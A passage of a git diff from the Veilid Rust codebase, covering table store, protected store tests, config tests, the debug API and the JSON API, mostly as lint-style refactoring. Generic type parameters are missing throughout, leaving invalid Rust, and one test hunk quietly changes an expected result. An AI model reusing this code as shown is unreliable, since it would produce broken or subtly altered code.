c.protected_store.device_encryption_key_password = - new_device_encryption_key_password.clone(); - Ok(new_device_encryption_key_password) - }) - .unwrap() - } else { - // Get device encryption key protection password if we have it - debug!("saving with existing dek password"); - let c = self.config.get(); - c.protected_store.device_encryption_key_password.clone() - }; - - let dek_bytes = self.maybe_protect_device_encryption_key( - device_encryption_key, - &device_encryption_key_password, - )?; - - // Save the new device encryption key - let existed = self - .protected_store - .save_user_secret("device_encryption_key", &dek_bytes) - .await?; - debug!("saving device encryption key. existed: {}", existed); - Ok(()) - } - - pub(crate) async fn init(&self) -> EyreResult<()> { - let _async_guard = self.async_lock.lock().await; - - // Get device encryption key from protected store - let mut device_encryption_key = self.load_device_encryption_key().await?; - let mut device_encryption_key_changed = false; - if let Some(device_encryption_key) = device_encryption_key { - // If encryption in current use is not the best encryption, then run table migration - let best_kind = best_crypto_kind(); - if device_encryption_key.kind != best_kind { - // XXX: Run migration. See issue #209 - } - } else { - // If we don't have an encryption key yet, then make one with the best cryptography and save it - let best_kind = best_crypto_kind(); - let mut shared_secret = SharedSecret::default(); - random_bytes(&mut shared_secret.bytes); - - device_encryption_key = Some(TypedSharedSecret::new(best_kind, shared_secret)); - device_encryption_key_changed = true; - } - - // Check for password change - let changing_password = self - .config - .get() - .protected_store - .new_device_encryption_key_password - .is_some(); - - // Save encryption key if it has changed or if the protecting password wants to change - if device_encryption_key_changed || changing_password { - self.save_device_encryption_key(device_encryption_key) - .await?; - } - - // Deserialize all table names - let all_tables_db = self - .table_store_driver - .open("__veilid_all_tables", 1) - .await - .wrap_err("failed to create all tables table")?; - match all_tables_db.get(0, ALL_TABLE_NAMES).await { - Ok(Some(v)) => match deserialize_json_bytes::>(&v) { - Ok(all_table_names) => { - let mut inner = self.inner.lock(); - inner.all_table_names = all_table_names; - } - Err(e) => { - error!("could not deserialize __veilid_all_tables: {}", e); - } - }, - Ok(None) => { - // No table names yet, that's okay - trace!("__veilid_all_tables is empty"); - } - Err(e) => { - error!("could not get __veilid_all_tables: {}", e); - } - }; - - { - let mut inner = self.inner.lock(); - inner.encryption_key = device_encryption_key; - inner.all_tables_db = Some(all_tables_db); - } - - let do_delete = { - let c = self.config.get(); - c.table_store.delete - }; - - if do_delete { - self.delete_all().await; - } - - Ok(()) - } - - pub(crate) async fn terminate(&self) { - let _async_guard = self.async_lock.lock().await; - - self.flush().await; - - let mut inner = self.inner.lock(); - if !inner.opened.is_empty() { - panic!( - "all open databases should have been closed: {:?}", - inner.opened - ); - } - inner.all_tables_db = None; - inner.all_table_names.clear(); - inner.encryption_key = None; - } - - pub(crate) fn on_table_db_drop(&self, table: String) { - log_rtab!("dropping table db: {}", table); - let mut inner = self.inner.lock(); - if inner.opened.remove(&table).is_none() { - unreachable!("should have removed an item"); - } - } - - /// Get or create a TableDB database table. If the column count is greater than an - /// existing TableDB's column count, the database will be upgraded to add the missing columns - pub async fn open(&self, name: &str, column_count: u32) -> VeilidAPIResult { - let _async_guard = self.async_lock.lock().await; - - // If we aren't initialized yet, bail - { - let inner = self.inner.lock(); - if inner.all_tables_db.is_none() { - apibail_not_initialized!(); - } - } - - let table_name = self.name_get_or_create(name).await?; - - // See if this table is already opened, if so the column count must be the same - { - let mut inner = self.inner.lock(); - if let Some(table_db_weak_inner) = inner.opened.get(&table_name) { - match TableDB::try_new_from_weak_inner(table_db_weak_inner.clone(), column_count) { - Some(tdb) => { - // Ensure column count isnt bigger - let existing_col_count = tdb.get_column_count()?; - if column_count > existing_col_count { - return Err(VeilidAPIError::generic(format!( - "database must be closed before increasing column count {} -> {}", - existing_col_count, column_count, - ))); - } - - return Ok(tdb); - } - None => { - inner.opened.remove(&table_name); - } - }; - } - } - - // Open table db using platform-specific driver - let mut db = match self - .table_store_driver - .open(&table_name, column_count) - .await - { - Ok(db) => db, - Err(e) => { - self.name_delete(name).await.expect("cleanup failed"); - self.flush().await; - return Err(e); - } - }; - - // Flush table names to disk - self.flush().await; - - // If more columns are available, open the low level db with the max column count but restrict the tabledb object to the number requested - let existing_col_count = db.num_columns().map_err(VeilidAPIError::from)?; - if existing_col_count > column_count { - drop(db); - db = match self - .table_store_driver - .open(&table_name, existing_col_count) - .await - { - Ok(db) => db, - Err(e) => { - self.name_delete(name).await.expect("cleanup failed"); - self.flush().await; - return Err(e); - } - }; - } - - // Wrap low-level Database in TableDB object - let mut inner = self.inner.lock(); - let table_db = TableDB::new( - table_name.clone(), - self.clone(), - inner.crypto.as_ref().unwrap().clone(), - db, - inner.encryption_key.clone(), - inner.encryption_key.clone(), - column_count, - ); - - // Keep track of opened DBs - inner - .opened - .insert(table_name.clone(), table_db.weak_inner()); - - Ok(table_db) - } - - /// Delete a TableDB table by name - pub async fn delete(&self, name: &str) -> VeilidAPIResult { - let _async_guard = self.async_lock.lock().await; - // If we aren't initialized yet, bail - { - let inner = self.inner.lock(); - if inner.all_tables_db.is_none() { - apibail_not_initialized!(); - } - } - - let Some(table_name) = self.name_get(name).await? else { - // Did not exist in name table - return Ok(false); - }; - - // See if this table is opened - { - let inner = self.inner.lock(); - if inner.opened.contains_key(&table_name) { - apibail_generic!("Not deleting table that is still opened"); - } - } - - // Delete table db using platform-specific driver - let deleted = self.table_store_driver.delete(&table_name).await?; - if !deleted { - // Table missing? Just remove name - warn!( - "table existed in name table but not in storage: {} : {}", - name, table_name - ); - } - self.name_delete(&name) - .await - .expect("failed to delete name"); - self.flush().await; - - Ok(true) - } - - /// Rename a TableDB table - pub async fn rename(&self, old_name: &str, new_name: &str) -> VeilidAPIResult<()> { - let _async_guard = self.async_lock.lock().await; - // If we aren't initialized yet, bail - { - let inner = self.inner.lock(); - if inner.all_tables_db.is_none() { - apibail_not_initialized!(); - } - } - trace!("TableStore::rename {} -> {}", old_name, new_name); - self.name_rename(old_name, new_name).await?; - self.flush().await; - Ok(()) - } -} diff --git a/veilid-core/src/table_store/tests/test_table_store.rs b/veilid-core/src/table_store/tests/test_table_store.rs index c0056c54..85821339 100644 --- a/veilid-core/src/table_store/tests/test_table_store.rs +++ b/veilid-core/src/table_store/tests/test_table_store.rs @@ -50,7 +50,7 @@ pub async fn test_delete_open_delete(ts: TableStore) { pub async fn test_store_delete_load(ts: TableStore) { trace!("test_store_delete_load"); - ts.delete("test").await; + let _ = ts.delete("test").await; let db = ts.open("test", 3).await.expect("should have opened"); assert!( ts.delete("test").await.is_err(), diff --git a/veilid-core/src/tests/common/test_protected_store.rs b/veilid-core/src/tests/common/test_protected_store.rs index 49d56d4e..2b242c0f 100644 --- a/veilid-core/src/tests/common/test_protected_store.rs +++ b/veilid-core/src/tests/common/test_protected_store.rs @@ -23,14 +23,12 @@ pub async fn test_protected_store(ps: ProtectedStore) { let d1: [u8; 0] = []; - assert_eq!( - ps.save_user_secret("_test_key", &[2u8, 3u8, 4u8]) - .await - .unwrap(), - false - ); + assert!(!ps + .save_user_secret("_test_key", &[2u8, 3u8, 4u8]) + .await + .unwrap()); info!("testing saving user secret"); - assert_eq!(ps.save_user_secret("_test_key", &d1).await.unwrap(), true); + assert!(ps.save_user_secret("_test_key", &d1).await.unwrap()); info!("testing loading user secret"); assert_eq!( ps.load_user_secret("_test_key").await.unwrap(), @@ -46,23 +44,21 @@ pub async fn test_protected_store(ps: ProtectedStore) { info!("testing loading broken user secret again"); assert_eq!(ps.load_user_secret("_test_broken").await.unwrap(), None); info!("testing remove user secret"); - assert_eq!(ps.remove_user_secret("_test_key").await.unwrap(), true); + assert!(ps.remove_user_secret("_test_key").await.unwrap()); info!("testing remove user secret again"); - assert_eq!(ps.remove_user_secret("_test_key").await.unwrap(), false); + assert!(!ps.remove_user_secret("_test_key").await.unwrap()); info!("testing remove broken user secret"); - assert_eq!(ps.remove_user_secret("_test_broken").await.unwrap(), false); + assert!(!ps.remove_user_secret("_test_broken").await.unwrap()); info!("testing remove broken user secret again"); - assert_eq!(ps.remove_user_secret("_test_broken").await.unwrap(), false); + assert!(!ps.remove_user_secret("_test_broken").await.unwrap()); let d2: [u8; 10] = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; - assert_eq!( - ps.save_user_secret("_test_key", &[2u8, 3u8, 4u8]) - .await - .unwrap(), - false - ); - assert_eq!(ps.save_user_secret("_test_key", &d2).await.unwrap(), true); + assert!(!ps + .save_user_secret("_test_key", &[2u8, 3u8, 4u8]) + .await + .unwrap()); + assert!(ps.save_user_secret("_test_key", &d2).await.unwrap()); assert_eq!( ps.load_user_secret("_test_key").await.unwrap(), Some(d2.to_vec()) @@ -73,10 +69,10 @@ pub async fn test_protected_store(ps: ProtectedStore) { ); assert_eq!(ps.load_user_secret("_test_broken").await.unwrap(), None); assert_eq!(ps.load_user_secret("_test_broken").await.unwrap(), None); - assert_eq!(ps.remove_user_secret("_test_key").await.unwrap(), true); - assert_eq!(ps.remove_user_secret("_test_key").await.unwrap(), false); - assert_eq!(ps.remove_user_secret("_test_broken").await.unwrap(), false); - assert_eq!(ps.remove_user_secret("_test_broken").await.unwrap(), false); + assert!(ps.remove_user_secret("_test_key").await.unwrap()); + assert!(ps.remove_user_secret("_test_key").await.unwrap()); + assert!(!ps.remove_user_secret("_test_key").await.unwrap()); + assert!(!ps.remove_user_secret("_test_broken").await.unwrap()); let _ = ps.remove_user_secret("_test_key").await; let _ = ps.remove_user_secret("_test_broken").await; diff --git a/veilid-core/src/tests/common/test_veilid_config.rs b/veilid-core/src/tests/common/test_veilid_config.rs index f6b2f844..77484ad7 100644 --- a/veilid-core/src/tests/common/test_veilid_config.rs +++ b/veilid-core/src/tests/common/test_veilid_config.rs @@ -1,5 +1,3 @@ -#![allow(clippy::bool_assert_comparison)] - use crate::*; cfg_if! { @@ -168,7 +166,7 @@ fn config_callback(key: String) -> ConfigCallbackReturn { match key.as_str() { "program_name" => Ok(Box::new(String::from("VeilidCoreTests"))), "namespace" => Ok(Box::::default()), - "capabilities.disable" => Ok(Box::>::default()), + "capabilities.disable" => Ok(Box::>::default()), "table_store.directory" => Ok(Box::new(get_table_store_path())), "table_store.delete" => Ok(Box::new(true)), "block_store.directory" => Ok(Box::new(get_block_store_path())), @@ -193,7 +191,7 @@ fn config_callback(key: String) -> ConfigCallbackReturn { "network.network_key_password" => Ok(Box::new(Option::::None)), "network.routing_table.node_id" => Ok(Box::new(TypedKeyGroup::new())), "network.routing_table.node_id_secret" => Ok(Box::new(TypedSecretGroup::new())), - "network.routing_table.bootstrap" => Ok(Box::>::default()), + "network.routing_table.bootstrap" => Ok(Box::>::default()), "network.routing_table.limit_over_attached" => Ok(Box::new(64u32)), "network.routing_table.limit_fully_attached" => Ok(Box::new(32u32)), "network.routing_table.limit_attached_strong" => Ok(Box::new(16u32)), @@ -295,13 +293,13 @@ pub async fn test_config() { assert_eq!(inner.namespace, String::from("")); assert_eq!(inner.capabilities.disable, Vec::::new()); assert_eq!(inner.table_store.directory, get_table_store_path()); - assert_eq!(inner.table_store.delete, true); + assert!(inner.table_store.delete); assert_eq!(inner.block_store.directory, get_block_store_path()); - assert_eq!(inner.block_store.delete, true); - assert_eq!(inner.protected_store.allow_insecure_fallback, true); - assert_eq!(inner.protected_store.always_use_insecure_storage, false); + assert!(inner.block_store.delete); + assert!(inner.protected_store.allow_insecure_fallback); + assert!(!inner.protected_store.always_use_insecure_storage); assert_eq!(inner.protected_store.directory, get_protected_store_path()); - assert_eq!(inner.protected_store.delete, true); + assert!(inner.protected_store.delete); assert_eq!( inner.protected_store.device_encryption_key_password, "".to_owned() @@ -351,38 +349,38 @@ pub async fn test_config() { 5_000u32 ); - assert_eq!(inner.network.upnp, false); - assert_eq!(inner.network.detect_address_changes, true); + assert!(!inner.network.upnp); + assert!(inner.network.detect_address_changes); assert_eq!(inner.network.restricted_nat_retries, 3u32); assert_eq!(inner.network.tls.certificate_path, get_certfile_path()); assert_eq!(inner.network.tls.private_key_path, get_keyfile_path()); assert_eq!(inner.network.tls.connection_initial_timeout_ms, 2_000u32); - assert_eq!(inner.network.application.https.enabled, false); + assert!(!inner.network.application.https.enabled); assert_eq!(inner.network.application.https.listen_address, ""); assert_eq!(inner.network.application.https.path, "app"); assert_eq!(inner.network.application.https.url, None); - assert_eq!(inner.network.application.http.enabled, false); + assert!(!inner.network.application.http.enabled); assert_eq!(inner.network.application.http.listen_address, ""); assert_eq!(inner.network.application.http.path, "app"); assert_eq!(inner.network.application.http.url, None); - assert_eq!(inner.network.protocol.udp.enabled, true); + assert!(inner.network.protocol.udp.enabled); assert_eq!(inner.network.protocol.udp.socket_pool_size, 16u32); assert_eq!(inner.network.protocol.udp.listen_address, ""); assert_eq!(inner.network.protocol.udp.public_address, None); - assert_eq!(inner.network.protocol.tcp.connect, true); - assert_eq!(inner.network.protocol.tcp.listen, true); + assert!(inner.network.protocol.tcp.connect); + assert!(inner.network.protocol.tcp.listen); assert_eq!(inner.network.protocol.tcp.max_connections, 32u32); assert_eq!(inner.network.protocol.tcp.listen_address, ""); assert_eq!(inner.network.protocol.tcp.public_address, None); - assert_eq!(inner.network.protocol.ws.connect, false); - assert_eq!(inner.network.protocol.ws.listen, false); + assert!(!inner.network.protocol.ws.connect); + assert!(!inner.network.protocol.ws.listen); assert_eq!(inner.network.protocol.ws.max_connections, 16u32); assert_eq!(inner.network.protocol.ws.listen_address, ""); assert_eq!(inner.network.protocol.ws.path, "ws"); assert_eq!(inner.network.protocol.ws.url, None); - assert_eq!(inner.network.protocol.wss.connect, false); - assert_eq!(inner.network.protocol.wss.listen, false); + assert!(!inner.network.protocol.wss.connect); + assert!(!inner.network.protocol.wss.listen); assert_eq!(inner.network.protocol.wss.max_connections, 16u32); assert_eq!(inner.network.protocol.wss.listen_address, ""); assert_eq!(inner.network.protocol.wss.path, "ws"); diff --git a/veilid-core/src/veilid_api/api.rs b/veilid-core/src/veilid_api/api.rs index 6fcc5b6b..e2139e49 100644 --- a/veilid-core/src/veilid_api/api.rs +++ b/veilid-core/src/veilid_api/api.rs @@ -263,7 +263,7 @@ impl VeilidAPI { let rss = self.routing_table()?.route_spec_store(); let r = rss .allocate_route( - &crypto_kinds, + crypto_kinds, stability, sequencing, default_route_hop_count, @@ -275,7 +275,7 @@ impl VeilidAPI { apibail_generic!("unable to allocate route"); }; if !rss - .test_route(route_id.clone()) + .test_route(route_id) .await .map_err(VeilidAPIError::no_connection)? { diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 3801e4cd..7cbd3ce6 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -61,9 +61,9 @@ fn get_string(text: &str) -> Option { } fn get_data(text: &str) -> Option> { - if text.starts_with("#") { - hex::decode(&text[1..]).ok() - } else if text.starts_with("\"") || text.starts_with("'") { + if let Some(stripped_text) = text.strip_prefix('#') { + hex::decode(stripped_text).ok() + } else if text.starts_with('"') || text.starts_with('\'') { json::parse(text) .ok()? .as_str() @@ -86,7 +86,7 @@ fn get_route_id( allow_allocated: bool, allow_remote: bool, ) -> impl Fn(&str) -> Option { - return move |text: &str| { + move |text: &str| { if text.is_empty() { return None; } @@ -127,7 +127,7 @@ fn get_route_id( } } None - }; + } } fn get_dht_schema(text: &str) -> Option { @@ -140,7 +140,7 @@ fn get_safety_selection(routing_table: RoutingTable) -> impl Fn(&str) -> Option< let default_route_hop_count = routing_table.with_config(|c| c.network.rpc.default_route_hop_count as usize); - if text.len() != 0 && &text[0..1] == "-" { + if !text.is_empty() && &text[0..1] == "-" { // Unsafe let text = &text[1..]; let seq = get_sequencing(text).unwrap_or_default(); @@ -151,7 +151,7 @@ fn get_safety_selection(routing_table: RoutingTable) -> impl Fn(&str) -> Option< let mut hop_count = default_route_hop_count; let mut stability = Stability::default(); let mut sequencing = Sequencing::default(); - for x in text.split(",") { + for x in text.split(',') { let x = x.trim(); if let Some(pr) = get_route_id(rss.clone(), true, false)(x) { preferred_route = Some(pr) @@ -179,7 +179,7 @@ fn get_safety_selection(routing_table: RoutingTable) -> impl Fn(&str) -> Option< fn get_node_ref_modifiers(mut node_ref: NodeRef) -> impl FnOnce(&str) -> Option { move |text| { - for m in text.split("/") { + for m in text.split('/') { if let Some(pt) = get_protocol_type(m) { node_ref.merge_filter(NodeRefFilter::new().with_protocol_type(pt)); } else if let Some(at) = get_address_type(m) { @@ -207,7 +207,7 @@ fn get_destination( } else { (text.as_str(), None) }; - if text.len() == 0 { + if text.is_empty() { return None; } if &text[0..1] == "#" { @@ -225,7 +225,7 @@ fn get_destination( } else { let mut dc = DEBUG_CACHE.lock(); let n = get_number(text)?; - let prid = dc.imported_routes.get(n)?.clone(); + let prid = *dc.imported_routes.get(n)?; let Some(private_route) = rss.best_remote_private_route(&prid) else { // Remove imported route dc.imported_routes.remove(n); @@ -312,7 +312,7 @@ fn get_dht_key( } else { (text, None) }; - if text.len() == 0 { + if text.is_empty() { return None; } @@ -528,13 +528,13 @@ pub fn print_data(data: &[u8], truncate_len: Option) -> String { let (data, truncated) = if truncate_len.is_some() && data.len() > truncate_len.unwrap() { (&data[0..64], true) } else { - (&data[..], false) + (data, false) }; let strdata = if printable { - format!("{}", String::from_utf8_lossy(&data).to_string()) + String::from_utf8_lossy(data).to_string() } else { - let sw = shell_words::quote(&String::from_utf8_lossy(&data).to_string()).to_string(); + let sw = shell_words::quote(String::from_utf8_lossy(data).as_ref()).to_string(); let h = hex::encode(data); if h.len() < sw.len() { h @@ -1019,8 +1019,8 @@ impl VeilidAPI { let netman = self.network_manager()?; let rpc = netman.rpc_processor(); - let (call_id, data) = if args.starts_with("#") { - let (arg, rest) = args[1..].split_once(' ').unwrap_or((&args, "")); + let (call_id, data) = if let Some(stripped_args) = args.strip_prefix('#') { + let (arg, rest) = stripped_args.split_once(' ').unwrap_or((&args, "")); let call_id = OperationId::new(u64::from_str_radix(arg, 16).map_err(VeilidAPIError::generic)?); let rest = rest.trim_start().to_owned(); @@ -1097,7 +1097,7 @@ impl VeilidAPI { &[], ) { Ok(Some(v)) => format!("{}", v), - Ok(None) => format!(""), + Ok(None) => "".to_string(), Err(e) => { format!("Route allocation failed: {}", e) } @@ -1270,7 +1270,7 @@ impl VeilidAPI { let out = format!("Private route #{} imported: {}", n, route_id); dc.imported_routes.push(route_id); - return Ok(out); + Ok(out) } async fn debug_route_test(&self, args: Vec) -> VeilidAPIResult { @@ -1298,7 +1298,7 @@ impl VeilidAPI { "FAILED".to_owned() }; - return Ok(out); + Ok(out) } async fn debug_route(&self, args: String) -> VeilidAPIResult { @@ -1334,18 +1334,18 @@ impl VeilidAPI { let scope = get_debug_argument_at(&args, 1, "debug_record_list", "scope", get_string)?; let out = match scope.as_str() { "local" => { - let mut out = format!("Local Records:\n"); + let mut out = "Local Records:\n".to_string(); out += &storage_manager.debug_local_records().await; out } "remote" => { - let mut out = format!("Remote Records:\n"); + let mut out = "Remote Records:\n".to_string(); out += &storage_manager.debug_remote_records().await; out } _ => "Invalid scope\n".to_owned(), }; - return Ok(out); + Ok(out) } async fn debug_record_purge(&self, args: Vec) -> VeilidAPIResult { @@ -1359,7 +1359,7 @@ impl VeilidAPI { "remote" => storage_manager.purge_remote_records(bytes).await, _ => "Invalid scope\n".to_owned(), }; - return Ok(out); + Ok(out) } async fn debug_record_create(&self, args: Vec) -> VeilidAPIResult { @@ -1397,11 +1397,10 @@ impl VeilidAPI { // Get routing context with optional privacy let rc = self.routing_context(); let rc = if let Some(ss) = ss { - let rcp = match rc.with_custom_privacy(ss) { + match rc.with_custom_privacy(ss) { Err(e) => return Ok(format!("Can't use safety selection: {}", e)), Ok(v) => v, - }; - rcp + } } else { rc }; @@ -1416,7 +1415,7 @@ impl VeilidAPI { Ok(v) => v, }; debug!("DHT Record Created:\n{:#?}", record); - return Ok(format!("{:?}", record)); + Ok(format!("{:?}", record)) } async fn debug_record_get(&self, args: Vec) -> VeilidAPIResult { @@ -1456,11 +1455,10 @@ impl VeilidAPI { // Get routing context with optional privacy let rc = self.routing_context(); let rc = if let Some(ss) = ss { - let rcp = match rc.with_custom_privacy(ss) { + match rc.with_custom_privacy(ss) { Err(e) => return Ok(format!("Can't use safety selection: {}", e)), Ok(v) => v, - }; - rcp + } } else { rc }; @@ -1497,7 +1495,7 @@ impl VeilidAPI { Err(e) => return Ok(format!("Can't close DHT record: {}", e)), Ok(v) => v, }; - return Ok(out); + Ok(out) } async fn debug_record_set(&self, args: Vec) -> VeilidAPIResult { @@ -1518,11 +1516,10 @@ impl VeilidAPI { // Get routing context with optional privacy let rc = self.routing_context(); let rc = if let Some(ss) = ss { - let rcp = match rc.with_custom_privacy(ss) { + match rc.with_custom_privacy(ss) { Err(e) => return Ok(format!("Can't use safety selection: {}", e)), Ok(v) => v, - }; - rcp + } } else { rc }; @@ -1556,7 +1553,7 @@ impl VeilidAPI { Err(e) => return Ok(format!("Can't close DHT record: {}", e)), Ok(v) => v, }; - return Ok(out); + Ok(out) } async fn debug_record_delete(&self, args: Vec) -> VeilidAPIResult { @@ -1568,7 +1565,7 @@ impl VeilidAPI { Err(e) => return Ok(format!("Can't delete DHT record: {}", e)), Ok(v) => v, }; - Ok(format!("DHT record deleted")) + Ok("DHT record deleted".to_string()) } async fn debug_record_info(&self, args: Vec) -> VeilidAPIResult { @@ -1595,7 +1592,7 @@ impl VeilidAPI { let ri = storage_manager.debug_remote_record_info(key).await; format!("Local Info:\n{}\n\nRemote Info:\n{}\n", li, ri) }; - return Ok(out); + Ok(out) } async fn debug_record(&self, args: String) -> VeilidAPIResult { @@ -1629,7 +1626,7 @@ impl VeilidAPI { let address_filter = network_manager.address_filter(); let out = format!("Address Filter Punishments:\n{:#?}", address_filter); - return Ok(out); + Ok(out) } async fn debug_punish(&self, args: String) -> VeilidAPIResult { diff --git a/veilid-core/src/veilid_api/json_api/mod.rs b/veilid-core/src/veilid_api/json_api/mod.rs index 5b04a4bd..b35e1ea2 100644 --- a/veilid-core/src/veilid_api/json_api/mod.rs +++ b/veilid-core/src/veilid_api/json_api/mod.rs @@ -140,7 +140,7 @@ pub enum ResponseOp { }, GetState { #[serde(flatten)] - result: ApiResult, + result: ApiResult>, }, Attach { #[serde(flatten)] @@ -175,7 +175,7 @@ pub enum ResponseOp { NewRoutingContext { value: u32, }, - RoutingContext(RoutingContextResponse), + RoutingContext(Box), // TableDb OpenTableDb { #[serde(flatten)] diff --git a/veilid-core/src/veilid_api/json_api/process.rs b/veilid-core/src/veilid_api/json_api/process.rs index 8e1264df..a84be568 100644 --- a/veilid-core/src/veilid_api/json_api/process.rs +++ b/veilid-core/src/veilid_api/json_api/process.rs @@ -87,10 +87,10 @@ impl JsonRequestProcessor { let Some(routing_context) = inner.routing_contexts.get(&rc_id).cloned() else { return Err(Response { id, - op: ResponseOp::RoutingContext(RoutingContextResponse { + op: ResponseOp::RoutingContext(Box::new(RoutingContextResponse { rc_id, - rc_op: RoutingContextResponseOp::InvalidId - }) + rc_op: RoutingContextResponseOp::InvalidId, + })), }); }; Ok(routing_context) @@ -100,7 +100,7 @@ impl JsonRequestProcessor { if inner.routing_contexts.remove(&id).is_none() { return 0; } - return 1; + 1 } // TableDB @@ -120,8 +120,8 @@ impl JsonRequestProcessor { id, op: ResponseOp::TableDb(TableDbResponse { db_id, - db_op: TableDbResponseOp::InvalidId - }) + db_op: TableDbResponseOp::InvalidId, + }), }); }; Ok(table_db) @@ -131,7 +131,7 @@ impl JsonRequestProcessor { if inner.table_dbs.remove(&id).is_none() { return 0; } - return 1; + 1 } // TableDBTransaction @@ -155,8 +155,8 @@ impl JsonRequestProcessor { id, op: ResponseOp::TableDbTransaction(TableDbTransactionResponse { tx_id, - tx_op: TableDbTransactionResponseOp::InvalidId - }) + tx_op: TableDbTransactionResponseOp::InvalidId, + }), }); }; Ok(table_db_transaction) @@ -166,7 +166,7 @@ impl JsonRequestProcessor { if inner.table_db_transactions.remove(&id).is_none() { return 0; } - return 1; + 1 } // CryptoSystem @@ -186,8 +186,8 @@ impl JsonRequestProcessor { id, op: ResponseOp::CryptoSystem(CryptoSystemResponse { cs_id, - cs_op: CryptoSystemResponseOp::InvalidId - }) + cs_op: CryptoSystemResponseOp::InvalidId, + }), }); }; Ok(crypto_system) @@ -197,7 +197,7 @@ impl JsonRequestProcessor { if inner.crypto_systems.remove(&id).is_none() { return 0; } - return 1; + 1 } // Target @@ -280,13 +280,21 @@ impl JsonRequestProcessor { RoutingContextRequestOp::CreateDhtRecord { schema, kind } => { RoutingContextResponseOp::CreateDhtRecord { result: to_json_api_result( - routing_context.create_dht_record(schema, kind).await, + routing_context + .create_dht_record(schema, kind) + .await + .map(Box::new), ), } } RoutingContextRequestOp::OpenDhtRecord { key, writer } => { RoutingContextResponseOp::OpenDhtRecord { - result: to_json_api_result(routing_context.open_dht_record(key, writer).await), + result: to_json_api_result( + routing_context + .open_dht_record(key, writer) + .await + .map(Box::new), + ), } } RoutingContextRequestOp::CloseDhtRecord { key } => { @@ -508,7 +516,7 @@ impl JsonRequestProcessor { &body, &nonce, &shared_secret, - associated_data.as_ref().map(|ad| ad.as_slice()), + associated_data.as_deref(), )), }, CryptoSystemRequestOp::EncryptAead { @@ -521,7 +529,7 @@ impl JsonRequestProcessor { &body, &nonce, &shared_secret, - associated_data.as_ref().map(|ad| ad.as_slice()), + associated_data.as_deref(), )), }, CryptoSystemRequestOp::CryptNoAuth { @@ -548,7 +556,7 @@ impl JsonRequestProcessor { ))), }, RequestOp::GetState => ResponseOp::GetState { - result: to_json_api_result(self.api.get_state().await), + result: to_json_api_result(self.api.get_state().await.map(Box::new)), }, RequestOp::Attach => ResponseOp::Attach { result: to_json_api_result(self.api.attach().await), @@ -596,10 +604,10 @@ impl JsonRequestProcessor { Ok(v) => v, Err(e) => return e, }; - ResponseOp::RoutingContext( + ResponseOp::RoutingContext(Box::new( self.process_routing_context_request(routing_context, rcr) .await, - ) + )) } RequestOp::OpenTableDb { name, column_count } => { let table_store = match self.api.table_store() { diff --git a/veilid-core/src/veilid_api/json_api/routing_context.rs b/veilid-core/src/veilid_api/json_api/routing_context.rs index dc4ac323..18b1e329 100644 --- a/veilid-core/src/veilid_api/json_api/routing_context.rs +++ b/veilid-core/src/veilid_api/json_api/routing_context.rs @@ -110,11 +110,11 @@ pub enum RoutingContextResponseOp { }, CreateDhtRecord { #[serde(flatten)] - result: ApiResult, + result: ApiResult>, }, OpenDhtRecord { #[serde(flatten)] - result: ApiResult, + result: ApiResult>, }, CloseDhtRecord { #[serde(flatten)] diff --git a/veilid-core/src/veilid_api/serialize_helpers/compression.rs b/veilid-core/src/veilid_api/serialize_helpers/compression.rs index cb45ed30..627b21fe 100644 --- a/veilid-core/src/veilid_api/serialize_helpers/compression.rs +++ b/veilid-core/src/veilid_api/serialize_helpers/compression.rs @@ -19,5 +19,5 @@ pub fn decompress_size_prepended( )); } } - Ok(block::decompress(input, uncompressed_size).map_err(VeilidAPIError::generic)?) + block::decompress(input, uncompressed_size).map_err(VeilidAPIError::generic) } diff --git a/veilid-core/src/veilid_api/serialize_helpers/serialize_json.rs b/veilid-core/src/veilid_api/serialize_helpers/serialize_json.rs index 1f41ebf4..f30e6deb 100644 --- a/veilid-core/src/veilid_api/serialize_helpers/serialize_json.rs +++ b/veilid-core/src/veilid_api/serialize_helpers/serialize_json.rs @@ -93,7 +93,7 @@ pub mod as_human_base64 { let base64 = String::deserialize(d)?; BASE64URL_NOPAD .decode(base64.as_bytes()) - .map_err(|e| serde::de::Error::custom(e)) + .map_err(serde::de::Error::custom) } else { Vec::::deserialize(d) } @@ -106,7 +106,7 @@ pub mod as_human_opt_base64 { pub fn serialize(v: &Option>, s: S) -> Result { if s.is_human_readable() { - let base64 = v.as_ref().map(|x| BASE64URL_NOPAD.encode(&x)); + let base64 = v.as_ref().map(|x| BASE64URL_NOPAD.encode(x)); Option::::serialize(&base64, s) } else { Option::>::serialize(v, s) @@ -120,7 +120,7 @@ pub mod as_human_opt_base64 { .map(|x| { BASE64URL_NOPAD .decode(x.as_bytes()) - .map_err(|e| serde::de::Error::custom(e)) + .map_err(serde::de::Error::custom) }) .transpose() } else { diff --git a/veilid-core/src/veilid_api/tests/test_types.rs b/veilid-core/src/veilid_api/tests/test_types.rs index 7cbe27bb..3a9b38bf 100644 --- a/veilid-core/src/veilid_api/tests/test_types.rs +++ b/veilid-core/src/veilid_api/tests/test_types.rs @@ -43,21 +43,21 @@ pub async fn test_fourcc() { pub async fn test_sequencing() { let orig = Sequencing::PreferOrdered; - let copy = deserialize_json(&serialize_json(&orig)).unwrap(); + let copy = deserialize_json(&serialize_json(orig)).unwrap(); assert_eq!(orig, copy); } pub async fn test_stability() { let orig = Stability::Reliable; - let copy = deserialize_json(&serialize_json(&orig)).unwrap(); + let copy = deserialize_json(&serialize_json(orig)).unwrap(); assert_eq!(orig, copy); } pub async fn test_safetyselection() { let orig = SafetySelection::Unsafe(Sequencing::EnsureOrdered); - let copy = deserialize_json(&serialize_json(&orig)).unwrap(); + let copy = deserialize_json(&serialize_json(orig)).unwrap(); assert_eq!(orig, copy); } @@ -178,7 +178,7 @@ pub async fn test_partialtunnel() { pub async fn test_veilidloglevel() { let orig = VeilidLogLevel::Info; - let copy = deserialize_json(&serialize_json(&orig)).unwrap(); + let copy = deserialize_json(&serialize_json(orig)).unwrap(); assert_eq!(orig, copy); } @@ -198,7 +198,7 @@ pub async fn test_veilidlog() { pub async fn test_attachmentstate() { let orig = AttachmentState::FullyAttached; - let copy = deserialize_json(&serialize_json(&orig)).unwrap(); + let copy = deserialize_json(&serialize_json(orig)).unwrap(); assert_eq!(orig, copy); } @@ -260,7 +260,7 @@ pub async fn test_veilidvaluechange() { } pub async fn test_veilidupdate() { - let orig = VeilidUpdate::ValueChange(fix_veilidvaluechange()); + let orig = 